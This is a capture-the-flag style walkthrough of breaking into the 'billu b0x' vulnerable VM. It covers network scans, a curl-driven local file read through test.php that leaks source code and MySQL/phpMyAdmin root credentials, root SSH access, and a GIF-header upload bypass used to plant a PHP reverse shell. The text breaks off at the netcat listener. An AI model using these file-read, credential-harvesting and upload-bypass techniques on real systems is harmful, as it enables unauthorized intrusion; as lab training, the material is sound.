A Vulnerable VM walkthrough:

Having being buried under a large pile of some slightly more esoteric learning for a couple of months, in the hope of fending off imposter syndrome, I’ve had little time to do a vulnerable VM. Time to rectify that!

It’s worth noting my initial popping of b0x was not done in the authors intended manner (Via the web app). I’ve included the intended manner at the end as an exercise in taking ‘the long way round’.

Usual starting points:



Interface: eth0, datalink type: EN10MB (Ethernet)

Starting arp-scan 1.9 with 256 hosts (

192.168.56.1 0a:00:27:00:00:00 (Unknown)

192.168.56.100 08:00:27:0c:2b:bc CADMUS COMPUTER SYSTEMS

192.168.56.107 08:00:27:1c:31:b1 CADMUS COMPUTER SYSTEMS root@kali:~# arp-scan -lInterface: eth0, datalink type: EN10MB (Ethernet)Starting arp-scan 1.9 with 256 hosts ( http://www.nta-monitor.com/tools/arp-scan/ 192.168.56.1 0a:00:27:00:00:00 (Unknown)192.168.56.100 08:00:27:0c:2b:bc CADMUS COMPUTER SYSTEMS08:00:27:1c:31:b1 CADMUS COMPUTER SYSTEMS

Got the ip, time to give it an nmap:

root@kali:/# nmap -A 192.168.56.107

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.56.107

Host is up (0.00031s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)

| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)

|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

| http-cookie-flags:

| /:

| PHPSESSID:

|_ httponly flag not set

|_http-server-header: Apache/2.2.22 (Ubuntu)

|_http-title: --==[[IndiShell Lab]]==--

MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.8

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-02 12:33 WESTmass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-serversNmap scan report for 192.168.56.107Host is up (0.00031s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)/tcp open http Apache httpd 2.2.22 ((Ubuntu))| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set|_http-server-header: Apache/2.2.22 (Ubuntu)|_http-title: --==[[IndiShell Lab]]==--MAC Address: 08:00:27:1C:31:B1 (Oracle VirtualBox virtual NIC)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.8Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only 2 ports 22/80, and now for a nikto:



- Nikto v2.1.6

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

+ Target IP: 192.168.56.107

+ Target Hostname: 192.168.56.107

+ Target Port: 80

+ Start Time: 2017–08–02 10:20:35 (GMT1)

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

+ Server: Apache/2.2.22 (Ubuntu)

+ Cookie PHPSESSID created without the httponly flag

+ Retrieved x-powered-by header: testing only

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ IP address found in the ‘location’ header. The IP is “127.0.1.1”.

+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is “

+ Uncommon header ‘tcn’ found, with contents: list

+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See

+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ OSVDB-12184: /?=PHPB8B5F2A0–3C92–11d3-A3A9–4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F36-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F34-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-12184: /?=PHPE9568F35-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-3268: /images/: Directory indexing found.

+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.

+ Server leaks inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 11:48:10 2007

+ OSVDB-3233: /icons/README: Apache default file found.

+ /in.php?returnpath=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.

+ OSVDB-5292: /in.php?returnpath=

+ OSVDB-3092: /test.php: This might be interesting…

+ 8346 requests: 0 error(s) and 21 item(s) reported on remote host

+ End Time: 2017–08–02 10:21:00 (GMT1) (25 seconds)

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

+ 1 host(s) tested root@kali:/var/www/html# nikto -h 192.168.56.107- Nikto v2.1.6— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -+ Target IP: 192.168.56.107+ Target Hostname: 192.168.56.107+ Target Port: 80+ Start Time: 2017–08–02 10:20:35 (GMT1)— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -+ Cookie PHPSESSID created without the httponly flag+ Retrieved x-powered-by header: testing only+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ IP address found in the ‘location’ header. The IP is “127.0.1.1”.+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is “ http://127.0.1.1/images/ ”.+ Uncommon header ‘tcn’ found, with contents: list+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15 . The following alternatives for ‘index’ were found: index.php+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS+ OSVDB-12184: /?=PHPB8B5F2A0–3C92–11d3-A3A9–4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.+ OSVDB-12184: /?=PHPE9568F36-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.+ OSVDB-12184: /?=PHPE9568F34-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.+ OSVDB-12184: /?=PHPE9568F35-D428–11d2-A769–00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.+ OSVDB-3268: /images/: Directory indexing found.+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.+ Server leaks inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 11:48:10 2007+ OSVDB-3233: /icons/README: Apache default file found.+ OSVDB-5292: /in.php?returnpath= http://cirt.net/rfiinc.txt ?: RFI from RSnake’s list ( http://ha.ckers.org/weird/rfi-locations.dat ) or from http://osvdb.org/ + 8346 requests: 0 error(s) and 21 item(s) reported on remote host+ End Time: 2017–08–02 10:21:00 (GMT1) (25 seconds)— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -+ 1 host(s) tested

I’ve highlighted the interesting bits in bold. I’m going to start with the phpinfo() output because, as always, enumeration is key. Now, no-one is interested in me cutting and pasting that output here but this is a key finding.

mysql enabled on the box.

And finally, a good old dirbustering:

/usr/share/wordlist/dirbuster/directory-list-1.0.txt

/usr/share/wordlist/dirb/big.txt

loads of interesting looking files there! Things of specific interest:

/phpmy/ — none default phpmyadmin install location?

c.php

show.php

in.php

add.php

/uploaded_images/ — given the add.php, can take a guess at an image upload location from that?

head.php

test.php

Right let’s start looking at the web server shall we?

Hmmmm… interesting SQLi. We’ve already decided that mysql is running on the box in some form, but I’m uncertain this isn’t a red herring. After 30 minutes of prodding it with no joy and eventually just firing sqlmap at it, I returned to the Nikto/dirbuster output.

test.php

file is empty, eh? Okay lets see if we can utilise that, using curl to force the request as a POST. (This can just as easily be done in burp/Zap if that’s more you bag).

Yep, we have read access to the box. Superb. Let’s check out the index.php

root@kali:~# curl -X POST --data “file=index.php” 192.168.56.107/test.php

<?php

session_start(); include(‘c.php’);

include(‘head.php’);

if(@$_SESSION[‘logged’]!=true)

{

$_SESSION[‘logged’]=’’;



} if($_SESSION[‘logged’]==true && $_SESSION[‘admin’]!=’’)

{



echo “you are logged in :)”;

header(‘Location: panel.php’, true, 302);

}

else

{

echo ‘<div align=center style=”margin:30px 0px 0px 0px;”>

<font size=8 face=”comic sans ms”> — ==[[ billu b0x ]]== — </font>

<br><br>

Show me your SQLI skills <br>

<form method=post>

Username :- <Input type=text name=un> Password:- <input type=password name=ps> <br><br>

<input type=submit name=login value=”let\’s login”>’;

}

if(isset($_POST[‘login’]))

{

$uname=str_replace(‘\’’,’’,urldecode($_POST[‘un’]));

$pass=str_replace(‘\’’,’’,urldecode($_POST[‘ps’]));

$run=’select * from auth where pass=\’’.$pass.’\’ and uname=\’’.$uname.’\’’;

$result = mysqli_query($conn, $run);

if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result);

echo “You are allowed<br>”;

$_SESSION[‘logged’]=true;

$_SESSION[‘admin’]=$row[‘username’];



header(‘Location: panel.php’, true, 302);



}

else

{

echo “<script>alert(‘Try again’);</script>”;

}



}

echo “<font size=5 face=\”comic sans ms\” style=\”left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\”>B0X Powered By <font color=#ff9933>Pirates</font> “; ?>

So we have ‘c.php’, ‘head.php’ which we had already seen in our dirbustering and a select statement pointing to a table called auth. Let’s start with the curiously named c.php

root@kali:~# curl -X POST --data “file=c.php” 192.168.56.107/test.php

<?php

#header( ‘Z-Powered-By:its chutiyapa xD’ );

header(‘X-Frame-Options: SAMEORIGIN’);

header( ‘Server:testing only’ );

header( ‘X-Powered-By:testing only’ ); ini_set( ‘session.cookie_httponly’, 1 ); $conn = mysqli_connect(“127.0.0.1”,”billu”,”b0x_billu”,”ica_lab”); // Check connection

if (mysqli_connect_errno())

{

echo “connection failed -> “ . mysqli_connect_error();

} ?>

Cool, we now have sql creds, which incidently are neither the SSH or web app logon creds. We can read files across the box though right, including config files, right? A little bit of speculative file reading later (and given we knew about /phpmy/ from our dirbustering):

root@kali:/# curl -X POST — data “file=/var/www/phpmy/config.inc.php” 192.168.56.107/test.php

<?php /* Servers configuration */

$i = 0; /* Server: localhost [1] */

$i++;

$cfg[‘Servers’][$i][‘verbose’] = ‘localhost’;

$cfg[‘Servers’][$i][‘host’] = ‘localhost’;

$cfg[‘Servers’][$i][‘port’] = ‘’;

$cfg[‘Servers’][$i][‘socket’] = ‘’;

$cfg[‘Servers’][$i][‘connect_type’] = ‘tcp’;

$cfg[‘Servers’][$i][‘extension’] = ‘mysqli’;

$cfg[‘Servers’][$i][‘auth_type’] = ‘cookie’;

$cfg[‘Servers’][$i][‘user’] = ‘root’;

$cfg[‘Servers’][$i][‘password’] = ‘roottoor’;

$cfg[‘Servers’][$i][‘AllowNoPassword’] = true; /*snip*\ ?>

Looks like mysql was setup with root permissions. A quick ssh to check.

root@kali:/# ssh root@192.168.56.107 /*snip*\ root@indishell:~# whoami

root

Yep. We’re done.

How the author expected it done (via the web app).

Using the billu / b0x_billu credentials from within the c.php file we gain access to phpMyAdmin control panel found at 192.168.56.107/phpmy/

Then taking a look at our previously identified ‘auth’ table we have our logon credentials. No sqli required.

Using these login deets we get through to panel.php (which previously redirected us) where we can show or add users.

Attempting to upload a bog standard php reverse shell failed. Appending it with a .jpg/png/gif also failed.

Using a trick i’ve deployed on a previous VM I created a gif file by inserting the hex header.

Then echo’ed in pentest monkeys reverse php shell which has been renamed rev.php and dropped on my desktop with all the relevent parts changed (ip/port).

Attempting to upload this file works and browsing to our uploaded_images directory we can see it in all it’s glory.

Setting up a netcat listener and clicking it we get….